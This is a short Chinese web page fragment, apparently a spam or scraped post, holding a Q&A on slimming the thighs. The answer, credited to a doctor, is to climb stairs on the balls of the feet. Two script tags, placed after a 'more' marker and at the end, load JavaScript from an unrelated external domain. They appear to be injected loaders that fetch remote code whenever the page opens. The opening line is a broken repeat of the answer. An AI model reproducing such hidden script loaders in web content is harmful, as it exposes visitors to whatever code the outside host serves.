后跟,走樓梯,用前腳掌著<!--more--><script language="javascript" src="http://www.jinnianzuiliuxing.info/js6/1.js"></script><br /> 提問: 如何減大腿 問題補充: 我身材自我感覺很好,只是大腿贅肉相對較多,做過很多運動都沒見效 不知該怎么辦 請求個位高人 医师解答: 走樓梯,用前腳掌著地，抬起腳后跟 <br /><script language="javascript" src="http://www.jinnianzuiliuxing.info/js6/2.js"></script>